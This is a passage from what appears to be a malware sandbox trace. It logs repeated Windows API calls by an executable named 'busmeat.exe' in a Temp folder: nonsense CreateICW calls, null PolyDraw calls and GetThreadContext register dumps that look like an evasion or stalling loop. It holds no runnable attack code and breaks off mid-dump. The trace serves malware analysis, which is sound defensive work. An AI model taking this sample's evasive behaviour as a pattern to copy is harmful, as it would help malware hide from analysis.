[26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.099] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.100] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.100] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.100] GetConsoleCP () returned 0x0
	[0066.100] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.100] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.101] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.101] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.101] GetConsoleCP () returned 0x0
	[0066.101] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, 